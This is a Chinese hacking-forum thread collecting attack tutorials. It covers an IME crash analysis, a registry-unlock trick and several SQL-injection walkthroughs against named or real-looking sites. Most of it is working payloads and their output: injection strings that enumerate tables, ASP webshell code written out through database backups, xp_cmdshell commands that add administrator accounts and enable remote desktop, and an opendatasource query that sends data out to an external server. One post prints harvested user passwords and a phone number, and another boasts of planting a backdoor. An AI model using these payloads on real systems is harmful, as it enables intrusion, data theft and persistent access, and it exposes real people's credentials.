发新话题
打印

菜鸟升级一号专题(已完成)

智能ABC输入法溢出分析

智能ABC输入法漏洞已经被人发现很久了,广泛用于网吧计费系统的破解。不过很少有人去研究他是怎么溢出的。所以我也是闲的无事分析一下他的溢出。
   需要的工具:ollydbg  哪都有下载的地方。
   首先用OD打开笔记本。然后切换输入法到智能ABC,输入v,左箭头delete ,回车(空格也可以)。然后立刻造成进程死掉,然后OD的信息会告诉你问题出在7380****.而7380****属于winabc.ime的地址。经过跟踪,确定出错指令为ImeToAsciiEx函数,此函数是用来处理输入的字符。每按一个键就会调用一次,当上面这个动作做完后又调用了 0x7380AC95函数。下面是这个函数的汇编代码
7380ACA1  |> 66:81FE 3D80   CMP SI,803D                      ;si为你按的那个键的hex值
7380ACA6  |. 75 26          JNZ SHORT WINABC.7380ACCE      
7380ACA8  |. 803D B0298173 >CMP BYTE PTR DS:[738129B0],3     ;3为输入中间阶段
7380ACAF  |. 0F84 E7010000  JE WINABC.7380AE9C
7380ACB5  |. 833D AC298173 >CMP DWORD PTR DS:[738129AC],1
7380ACBC  |. 0F8E DA010000  JLE WINABC.7380AE9C
7380ACC2  |. C605 B0298173 >MOV BYTE PTR DS:[738129B0],1
7380ACC9  |. E9 CE010000    JMP WINABC.7380AE9C

下面在来看一段关于0x7380AC95的代码

7380ADB4  |> 56             PUSH ESI
7380ADB5  |. E8 58140000    CALL WINABC.7380C212
7380ADBA  |. 85C0           TEST EAX,EAX
7380ADBC  |. 74 20          JE SHORT WINABC.7380ADDE
7380ADBE  |. 66:83FE 76     CMP SI,76                        ; 与'v'比较
7380ADC2  |. C605 B0298173 >MOV BYTE PTR DS:[738129B0],3
7380ADC9  |. 0F94C0         SETE AL                          ; 不是的话al=0
7380ADCC  |. A2 6C488173    MOV BYTE PTR DS:[7381486C],AL    ; 是v的话进入v输入状态
7380ADD1  |. E8 F6110000    CALL WINABC.7380BFCC            
7380ADD6  |. 391D CC558173  CMP DWORD PTR DS:[738155CC],EBX
7380ADDC  |. EB 23          JMP SHORT WINABC.7380AE01

v的输入状态不同,比如Vabc 会输入abc英文,V1什么的为特殊字符和符号。
下面去找出问题的地方
7380AC81  |. 33DB           XOR EBX,EBX
.......
7380AE08  |> 0FB7C6         MOVZX EAX,SI                             ;  Case 3 of switch 7380ACE2
7380AE0B  |. 50             PUSH EAX
7380AE0C  |. E8 340A0000    CALL WINABC.7380B845
7380AE11  |. 2BC3           SUB EAX,EBX
7380AE13  |. 74 26          JE SHORT WINABC.7380AE3B

.......
7380AE3B  |> 381D 6C488173  CMP BYTE PTR DS:[7381486C],BL      ;DS:[7381486C]=2
7380AE41  |. 74 22          JE SHORT WINABC.7380AE65           ;没有发生跳转,正常情况下0x73811F52肯定大于0
7380AE43  |. 0FB705 521F817>MOVZX EAX,WORD PTR DS:[73811F52]   ;DS:[73811F52]为0
7380AE4A  |. 48             DEC EAX                            ;FFFFFFFF
7380AE4B  |. C605 CC758173 >MOV BYTE PTR DS:[738175CC],2        
7380AE52  |. 50             PUSH EAX
7380AE53  |. 68 561F8173    PUSH WINABC.73811F56
7380AE58  |. E8 FA140000    CALL WINABC.7380C357
7380AE5D  |. 881D 6C488173  MOV BYTE PTR DS:[7381486C],BL      ;函数将发生错误
7380AE63  |. EB 31          JMP SHORT WINABC.7380AE96

如果del删去V,DS:[73811F52]变量为0,但是DS:[7381486C]=2没有变为0,仍然在输入中途状态,dec eax是为了取得除了v之外的字母串的长度,结果这里变为 0xffffffff,7380AE5D  |. 881D 6C488173  MOV BYTE PTR DS:[7381486C],BL 中 函数没有做检查。

7380C4C8   0FB745 10        MOVZX EAX,WORD PTR SS:[EBP+10]              ; eax = 0xffff
7380C4CC   8BC8             MOV ECX,EAX
7380C4CE   8BFB             MOV EDI,EBX
7380C4D0   037B 58          ADD EDI,DWORD PTR DS:[EBX+58]
7380C4D3   03F3             ADD ESI,EBX
7380C4D5   8B75 0C          MOV ESI,DWORD PTR SS:[EBP+C]
7380C4D8   8BD1             MOV EDX,ECX
7380C4DA   C1E9 02          SHR ECX,2                                   ; ecx = 0x3fff
7380C4DD   8943 54          MOV DWORD PTR DS:[EBX+54],EAX
7380C4E0   03C3             ADD EAX,EBX
7380C4E2   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>   ; 拷贝0x3fff个int

看到了吗,出错的地方。在这里溢出了。
还有这个问题
7380B416  /$ 803D C0558173 >CMP BYTE PTR DS:[738155C0],0AA   
7380B41D  |. 56             PUSH ESI
7380B41E  |. 74 2D          JE SHORT WINABC.7380B44D
7380B420  |. 66:8B0D 545E81>MOV CX,WORD PTR DS:[73815E54]         ; cx = 0
7380B427  |. 66:49          DEC CX                                ; cx = 0xffff
7380B429  |. 0FB7C1         MOVZX EAX,CX
7380B42C  |. 66:890D 545E81>MOV WORD PTR DS:[73815E54],CX
7380B433  |. 0FB690 405E817>MOVZX EDX,BYTE PTR DS:[EAX+73815E40]
7380B43A  |. 0FB680 415E817>MOVZX EAX,BYTE PTR DS:[EAX+73815E41]

ds:0x73815E54表示当前输入栏中有多少字/词 DS:[738129B0]=0时上面的代码会被用到。当用退格消去输入栏中最后一个汉字时DS:[73815E54]=0,DS:[738129B0]应该变成3,表示进入输入状态.但是我们随便输入一个词,然后输入任意字符,按"←",退格,回车,在输入框中得到前一词的默认字,然后连按两次退格。输入第一个退格键,DS:[73815E54]=1,可是DS:[738129B0]并没有变成3,再次按下退格键,函数又执行到这里,cx变为0xffff,就出错了。

  因为程序可以导致IME所HOOK的进程退出。所以像万象那样的网吧管理软件会立刻出错而退出进程.而3389登陆也会出错。不过对远程主机似乎没有影响。。。曾经还有人说这个可以造成远程主机重起。所以只是谣言。仔细想想就知道为什么不会对远程主机造成影响咯。

TOP

注册表被禁用破解的方法

建立一个TXT文件,然后添加代码:
REGEDIT4
[HKEY_USERS\.DEFAULT\software\Microsoft\Windows\CurrentVersion\Policies\system"DisableRegistryTools"=dword:00000000]
再将这个.txt文件的后缀名改为.reg。然后运行就可以了

TOP

注入经验积累(二)

以下权限非SA权限!
语句:http://www.xxxxx.com/down/list.asp?id=1'
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/down/list.asp,行21
测试权限结构:
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_MEMBER('db_owner'));--
通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,得到管理员的表和管理表资料
进一步得到权限有两种方法:意思爆出所有字段,取管理后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP直接上传WEBSHELL,难点在于寻找WEB目录。
我们把路径写到表里去!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!说明建表成功!继续!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\'--
回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最后用同样的方法测试得到网页目录放在E:\WEB下,得到网页目录后两种选择,一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL。监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理后台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的目录树,让我们容易混乱,所以就来一层层得到下级目录吧:
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--
经过反覆的爆字段,最后爆到一个xxxadminlogin目录,一看就知道这个目录可能就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续:
语句:http://http://www.xxxxx.com/down/xxxadminlogin/
显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还等什么?进去瞧瞧……
XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树。针对登陆入口在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性,也是非常考个人思维的地方。
再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具,很容易就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网页目录也是个好的办法!
语句:
http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--

TOP

注入经验积累(三)

use model
create table cmd (str image);
insert into cmd(str) values ('<% Dim oScript %><% Dim oScriptNet%><% Dim oFileSys, oFile%><% Dim szCMD, szTempFile%>');
insert into cmd(str) values ('<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>');
insert into cmd(str) values ('<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>');
insert into cmd(str) values ('<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>');
insert into cmd(str) values ('<% szCMD = Request.Form(".CMD")%><% If (szCMD <> "") Then%>');
insert into cmd(str) values ('<% szTempFile = "C:\" & oFileSys.GetTempName()%>');
insert into cmd(str) values ('<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>');
insert into cmd(str) values ('<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%><% End If %>');
insert into cmd(str) values ('<HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST">');
insert into cmd(str) values ('<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>');
insert into cmd(str) values ('<% If (IsObject(oFile)) Then%><% On Error Resume Next%>');
insert into cmd(str) values ('<% Response.Write Server.HTMLEncode(oFile.ReadAll)%><% oFile.Close%>');
insert into cmd(str) values ('<% Call oFileSys.DeleteFile(szTempFile, True)%>');
insert into cmd(str) values ('<% End If%></BODY></HTML>');
backup database model to disk='c:\l.asp';

    拷贝c:\l.asp到你的web发布目录,再用浏览器请求一下,没有500错误的话,获得一个shell了,不过这个shell中垃圾数据实在是太多,要多按几下TAB键才能到输入命令的那个输入框。

    实践中用FSO的webshell是很不方便的,另外一个可能的webshell是这样子:
use model
create table cmd (str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';

    请求的时候,像这样子用:

http://202.119.9.42/l.asp?c=dir

如果不是sa的身份的话,也许declare @a sysname;select @a=db_name()会有一些用处。成功的几率,不敢说的太高,估计80%还是有的吧,如果通过这种方法得到了shell,其实会发现,有很多垃圾数据,也许还是个2、3M

TOP

注入经验积累(一)

目标:http://www.abcw114.com/index.asp
注入点:会员登陆(帐号/密码)

一、获得建立用户的表的名字和字段的名字;使用select语法的having子句。
**********************************************************************************
'having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_id' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
/football/reguser/check.asp,行26
成果:知道了表的名字reguser和第一个字段的名字reguser.reg_id。

二、通过字段放到group by子句找到字段名。
1、
**********************************************************************************
'group by reguser.reg_id having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_name' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_name字段
2、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_password' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_password字段
3、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_relname' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_relname字段
4、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_regtime' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_regtime字段
5、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_findme' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_findme字段
6、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_city' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_city字段
7、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_qq' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_qq字段
8、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_icq' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_icq字段
9、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_msn' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_msn字段
10、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_phone' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_phone字段
11、  
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_class' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_class字段
12、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_money' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_money字段
13、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_regip' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_regip字段
14、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_Estar' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_Estar字段
15、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_Eend' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_Eend字段
16、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_changeuser' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_changeuser字段
17、
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_changetime' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_changetime字段
18
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_logintime' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_logintime字段
19
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime having 1=1--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'reguser.reg_online' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_online字段
20
**********************************************************************************
'group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime,reguser.reg_online having 1=1--
**********************************************************************************
返回结果:
出现信息提示框;你还不是会员请注册
到这里一个表猜完。
三、确定列的类型。通过使用类型转化来实现:利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。
1、
**********************************************************************************
'union select sum(reguser.reg_name) from reguser--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
sum or average aggregate 运算不能以 varchar 数据类型作为参数。
/football/reguser/check.asp,行26
成果:reguser.reg_name字段是数据类型varchar。
2、
**********************************************************************************
'union select sum(reguser.reg_id) from reguser--
**********************************************************************************
返回结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。
/football/reguser/check.asp,行26
四、insert查询:
**********************************************************************************
';insert into reguser values(666,'attacker','foobar')--
**********************************************************************************
五、
'union select * from reguser where reguser.reg_name='admin'--
';select * from reguser where reguser.reg_name='admin'--

';updata reguser set reguser.reg_password='36d201fb337dc23bde4d143491cfae4d' where reguser.reg_name='admin'--
'union updata reguser set reguser.reg_password='36d201fb337dc23bde4d143491cfae4d' where reguser.reg_name='admin'--

六、从reguser表中读取用户名:
'union select min(reguser.reg_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>'a'--
这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

收集密码:
'union select reguser.reg_password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>'admin'--
'union select password,1,1,1 from users where username='admin'--

13535701998

创建了一个foo表,里面只有一个单独的列'ret',里面存放着得到的用户名和密码的字符串
';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+reguser.reg_name+'/'+reguser.reg_password from reguser where reguser.reg_name>@ret select @ret as 1866574 into 1866574 end--


'union select ret,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from foo--

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 ': 383838/989898 123456/234567 korea007/154085 风681168/13535701998 kyo327/woaini denglong/247986965' 转换为数据类型为 int 的列时发生语法错误。
/football/reguser/check.asp,行26

';drop table foo--

admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

=-= 加帐号 =-=
';Exec master..xp_cmdshell 'net user'--

';Exec master..xp_cmdshell 'net user jiaoniang$ 1866574 /add'--
';Exec master..xp_cmdshell 'net localGroup Administrators jiaoniang$ /add'--

';exec master..sp_addlogin jiaoniang$,1866574--
';exec master..sp_addsrvrolemember jiaoniang$,sysadmin--

';exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'--

=-= 开服务 =-=
';Exec master..xp_cmdshell 'net stat telnet'--
';Exec master..xp_cmdshell 'net stat server'--

=-= 开3389 =-=
';Exec master..xp_cmdshell "echo [Components] > c:\1866574"--
//在c盘根目录建写入一个文件
';Exec master..xp_cmdshell "echo TsEnable = on >> c:\1866574"--
//追加写入
';Exec master..xp_cmdshell "sysocmgr /i:c:\windows\inf\sysoc.inf /u:c:\1866574 /q"--
//开3389,成功的话过会肉机会重启!!

TOP

注射MSSQL

今天没事做,对本地的一家钢铁企业的网站做了次安检,嘿嘿.漏洞一大把.当然 这是意料中的事.最近搞大家都喜欢搞脚本.那我也就从他们的网站程序看看了.
show.aspx?id=1'
嘿嘿  asp.net  照样暴  说什么有未闭合的分号.
show.aspx?id=1 and (select @@version)>0;--
果然,2003的系统
show.aspx?id=1 and 'sa'=(select System_user)--
嘿嘿 正确返回  有权限了  想到直接用xp_cmeshell直接添加帐号
因为之前已经知道这服务器开了3389的
所以 我们继续来:
show.aspx?id=1;exec master.dbo.xp_cmdshell "net user haco lovehaco /add"--
我倒,返回结果错误了  看来管理员还不是很可爱噢
那我们来恢复这个存储过程?OK  继续
show.aspx?id=1;exec master.dbo.sp_addextendedpro xp_cmdshell,@dllname='xplog70.dll'--
回车后……狂晕死.居然说什么过程sp_addextendedproc没找着  开始我以为是删除了xplog70.dll  可是后来不这样这样认为了  记得以前也碰到过这样的事  可是都没能解决  这次一定要搞定  嘿嘿!之后 到处问人
这里要感谢一下BST论坛里的tob88  谢谢  是他提醒了我
不就是过程SP_ADDextendedproc被删除了嘛 我们恢复它就是了嘛!
为了方便  我添加了个sysadmin的帐号
show.aspx?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--
show.aspx?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;--   HOHO~  搞定   俺自己装了MSSQL  企业管理器里连上这台服务器的SQL
调出查询器  恢复过程sp_addextendedproc  如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
哈哈  试下  sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
哇!命令成功完成   耶!添加帐号 登陆3389 留个我最喜欢的绝对后门
IIS隐藏虚拟目录  搞定  闪人……

PS:其实像sp_addextendedproc这些过程也都可以删除掉 就不能添加了
当然 也可以恢复的  这个恢复的语句 是从MSSQL数据库里得到的  有兴趣的朋友可以自己试试看  呵呵   这是我小泥巴第一次写东西  很稀烂的 大家看看就算了  别笑噢  要不 我会5555哭的噢!

TOP

注射的一些技巧

错了。。出错信息被屏蔽了。。怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制。。或许还有别的地方要转化。。怎么办啊?
---------------------------------------------------------------------------------
这是浏览器导致的,并非对方的asp所谓,一些特殊符号不能直接在浏览器里面输入,
其实没有必要全部转换成%xx的模式,写个htm里面javascript
window.location.href=".....这里随便你了......"
就可以了,该转码的都会自己转码。

另外用sqlinject记住两点
浏览器选项高级里面
1. UTF8一定要关闭
2. 友好的http信息显示一定要关闭

另外如果要偷取一个对方库里面指定一个表的数据,简单的办法就是
假设你的本地sqlserver ip是202.99.8.1 sa空 1433 tcp 默认库pop
1。 创建一个表,两个个字段number和varchar(255)就可以,表名[tmp1]
2。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmp1 select [id],[name] from sysobjects where xtype='U' --
3。 无看看你的tmp1的内容,找到你想要的那个表,比如[news]对应的id=12345
4。 在你的sqlserver执行 select * into [tmpcolumns] from syscolumns where 1=2
5。 然后
